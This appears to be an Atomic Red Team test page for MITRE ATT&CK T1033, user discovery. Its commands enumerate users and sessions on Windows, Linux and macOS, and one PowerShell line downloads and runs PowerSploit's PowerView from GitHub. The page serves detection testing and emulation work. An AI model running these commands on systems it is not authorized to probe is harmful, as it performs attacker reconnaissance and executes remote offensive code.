Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Various utilities and commands may acquire this information, includingwhoami. In macOS and Linux, the currently logged in user can be identified withwandwho. On macOS thedscl . list /Users | grep -v '_'command can also be used to enumerate user accounts. Environment variables, such as%USERNAME%and$USER, may also be used to access this information. On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)
Atomic Test #3 - Find computers where user has session - Stealth mode (PowerView)
Atomic Test #4 - User Discovery With Env Vars PowerShell Script
Atomic Test #7 - System Owner/User Discovery Using Command Prompt
Identify System owner or users on an endpoint.
Upon successful execution, cmd.exe will spawn multiple commands against a target host to identify usernames. Output will be via stdout. Additionally, two files will be written to disk - computers.txt and usernames.txt.
Supported Platforms: Windows
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| Name | Description | Type | Default Value | |——|————-|——|—————| | computer_name | Name of remote computer | string | localhost|
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command_prompt
cmd.exe /C whoami
wmic useraccount get /ALL
quser /SERVER:"#{computer_name}"
quser
qwinsta.exe /server:#{computer_name}
qwinsta.exe
for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > computers.txt
@FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /server:%n ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt
Identify System owner or users on an endpoint
Upon successful execution, sh will stdout list of usernames.
Supported Platforms: Linux, macOS
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sh
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users
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who
Find existing user session on other computers. Upon execution, information about any sessions discovered will be displayed.
Supported Platforms: Windows
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powershell
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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose
Use the PowerShell environment variables to identify the current logged user.
Supported Platforms: Windows
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powershell
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[System.Environment]::UserName | Out-File -FilePath .\CurrentactiveUser.txt
$env:UserName | Out-File -FilePath .\CurrentactiveUser.txt -Append
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Remove-Item -Path .\CurrentactiveUser.txt -Force
Use the PowerShell “GetCurrent” method of the WindowsIdentity .NET class to identify the logged user.
Supported Platforms: Windows
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powershell
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[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\CurrentUserObject.txt
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Remove-Item -Path .\CurrentUserObject.txt -Force
SocGholish performs whoami discovery commands and outputs the results to a tmp file. The test will generate a filename similar to the random one generated during execution and write the file to AppData\Temp.
Reference: https://redcanary.com/threat-detection-report/threats/socgholish/
Supported Platforms: Windows
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| Name | Description | Type | Default Value | |——|————-|——|—————| | output_path | Location of output file | string | $env:temp|
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powershell
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$TokenSet = @{
U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
N = [Char[]]'0123456789'
}
$Upper = Get-Random -Count 5 -InputObject $TokenSet.U
$Number = Get-Random -Count 5 -InputObject $TokenSet.N
$StringSet = $Upper + $Number
$rad = (Get-Random -Count 5 -InputObject $StringSet) -join ''
$file = "rad" + $rad + ".tmp"
whoami.exe /all >> #{output_path}\$file
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Remove-Item -Path #{output_path}\rad*.tmp -Force
Identify the system owner or current user using native Windows command prompt utilities.
Supported Platforms: Windows
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| Name | Description | Type | Default Value | |——|————-|——|—————| | output_file_path | Location of output file. | string | $env:temp|
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command_prompt
set file=#{output_file_path}\user_info_%random%.tmp
echo Username: %USERNAME% > %file%
echo User Domain: %USERDOMAIN% >> %file%
net users >> %file%
query user >> %file%
del #{output_file_path}\\user_info_*.tmp